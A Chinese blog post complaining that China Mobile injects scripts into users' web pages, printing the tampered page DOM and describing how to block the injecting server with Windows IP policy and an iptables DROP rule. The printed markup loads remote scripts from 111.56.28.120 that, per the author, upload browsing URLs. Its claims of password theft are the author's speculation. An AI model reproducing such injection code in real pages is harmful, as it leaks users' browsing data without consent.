官场市场名利场,场场腐败;内网外网局域网,网网牢笼。既享受ISP多年的DNS投毒与欺骗大餐之后,近日有幸被射了一屏“中间人攻击式网上营业厅‘服务’”套餐,那是怎一个恶心了得!
中移动中间人攻击

无法关闭的“服务”

中移动玩的得很隐蔽,这个大界面并不是每次开网页都自动弹出来,而是会间歇性弹出来。探查其源代码可见,它还特意避开了在用户浏览像“腾讯网、人民网”等大站、红站时弹出界面。如果说您和我一样不习惯这重口味特服,它设置项里“温馨地”允许你“关闭”,但是请注意,此处你只能从“关闭一天、一周、一个月”三个选项里选择。对,没错,永久关闭是妄想。另外,经我实践,其实所谓“关闭”,中移动也只不过是保持界面隐藏的状态,其实脚本还是加载到用户网页上的。由此我还联想到另一个问题,明明不是用户本意请求的数据而强行推数据过来,每个网页因此而增加延迟,也剥夺了用户部分带宽权益。
中移动中间人攻击

花网费看假网页

用了中移动的网,腰不酸了腿也不疼了,连看广告都不嫌累。大和谐网络里,各门户各站点都“团结一致”地给中移动面子,齐刷刷显示中移动网厅…中国梦不是这么做的大哥,其实这是中间人攻击。这种中间人攻击将真实的网页源码进行了篡改,使中移动的网厅就好像是网站所有者亲自放在网站上一样,每个上网的网民都是在看假网页,被当傻B一样耍弄。
中移动中间人攻击

又是一个棱镜门

javascript脚本非常强大,不要以为中移动只是塞给你一个鸡肋,它更像是H7N9之类的病毒。当恶意脚本“原生”似的嵌入HTML源中,javascript语言原本为安全起见设计的固有的防攻击措施彻底被蔑视,中移动可以记录你打开的每一个网页、你在每个网站上的用户名密码、输入的所有信息、读写存有数据的cookies、向用户电脑投毒、安木马等等。这一幕真的只是中移动想更好地为用户“服务”吗?我看不然,我想到的却是棱镜门
经被篡改,网页主要被修改为他们使用的DOM:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script charset="UTF-8" src="http://111.56.28.120:8080/get?time=1487249140354&amp;tlbsip=http://111.56.28.120:8080/&amp;website=用户浏览的网页地址&amp;charset=utf-8"></script>
</head>
<body>
<iframe style="">
<html><head>
<style type="text/css">
@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script src="http://111.56.28.120:8080/html/www/resources/templates/common/libs/framework.js?v=V500R005C60" defer="" charset="UTF-8"></script>
<script src="http://111.56.28.120:8080/html/www/resources/templates/default/fullscreenbar_zh/pagestemplates.js?v=1471423830097" defer="" charset="UTF-8"></script>
<script src="http://111.56.28.120:8080/html/www/resources/templates/default/fullscreenbar_zh/componentservices.js?v=1471423830097" defer="" charset="UTF-8"></script>
<script src="http://111.56.28.120:8080/html/www/resources/templates/common/lstore.js?v=V500R005C60" defer="" charset="UTF-8"></script>
<script src="http://111.56.28.120:8080/html/www/resources/templates/common/insert.js?v=V500R005C60" defer="" charset="UTF-8"></script>
</head><body>这里即将被隐蔽地被写入展示网厅的界面</body></html>
</iframe>
<script type = 'text/javascript' id ='1qa2ws' charset='utf-8' src='http://111.56.28.120:8080/www/default/base.js'></script></body>
</html>

过程大致是由嵌入为body最后子节点的脚本http://111.56.28.120:8080/www/default/base.js构造了新脚本的地址http://111.56.28.120:8080/get?time=1487249140354&amp;tlbsip=http://111.56.28.120:8080/&amp;website=用户浏览的网页地址&amp;charset=utf-8插入为head最后一个子节点,此时您的浏览记录已被上传,同时上传了发生的时间,然后新脚本放大招,插入了iframe网页框架,这个框架更牛B了,它又让用户一口气加载了http://111.56.28.120:8080/html/www/resources/templates/目录下的5个又大又复杂的脚本,这些脚本进一步输出dIV及他们自制的IPPAGE等标签,实现了网上营业厅的功能和其他 不为人知的操作。

别开渣滓洞天

穷人难活,贱网难用。但是,哪里有压迫哪里就有反抗。面对此窘境,我首先想到了HOST文件,但HOST文件多年来被玩的众人皆知,小白都会,中移动也是有意防止用户通过修改HOST从而阻挡他们的“服务”,刻意直接使用了服务器IP地址而不是域名,故修改HOST的路子是解决不了问题的。想想我没有高级的路由器,无法从更上一层阻挡迫害,就只能从自己电脑下手了,想了想我掏出了“IP安全策略”这支小米步枪。没听过这个设置项的,可以在“控制面板—系统和安全—管理工具—本地安全策略”里找到,当然,这个东西的设置不说是复杂也称得上繁琐,有兴趣的朋友自行谷歌设置步骤吧,结合我下面的截图应该能够配置好。如此这般阻挡后可以避免加载这些恶意脚本。
ip安全策略

电话上的iptables

电脑用windows系统,我们比较熟悉,那电话怎么办?Android是基于Linux系统的,那Linux有什么类似IP安全策略的东西吗?其实我不懂,我回答不好这个问题。但是我谷歌到了iptables命令介绍这篇文章,读个大概,我理解就是它非常类似windows的IP策略组,比如它的结构:iptables -> Tables -> Chains -> Rules。iptables固有Filter, NAT, Mangle, Raw四种内建表,表下有链,表可以链接到链,链下可以设定多条规则,每条规则的操作为ACCEPT、DROP、QUEUE、RETURN四选其一。
更多细节不在此赘述,有兴趣自行谷歌。

继续我自己的叙事,这里先解决Liunx终端命令如何输入的问题,好在我的电话已Root,我安装了Terminal Emulator for Android这款“终端模拟器”,打开后输入su准备以Root权限执行命令。首先使用# iptables -t filter --list命令列出iptables的当前配置状态,可见我电话上Filter表的INPUT链中的规则是连接到了另一个名为“firewall”的链,而在firewall链中有5个现有规则,但未见特殊规则。然后执行iptables -A firewall -d 111.56.28.120 -j DROP命令,向firewall链追加丢弃发送目标IP为111.56.28.120的数据包的规则。这样当Filter表的INPUT链链接到firewall链时这个规则会生效,从而实现了IP阻止。Chrome打开脚本地址测试,已经变为无法连接到此地址的状态,暂且认为是成功了。
iptables阻止IP

最后,需要说明的是本人是非专业人士,以上日志均为我个人见解,难免有偏颇和错误之处,不喜勿怪吧,也欢迎读者朋友来信批评指正。

Next Post Previous Post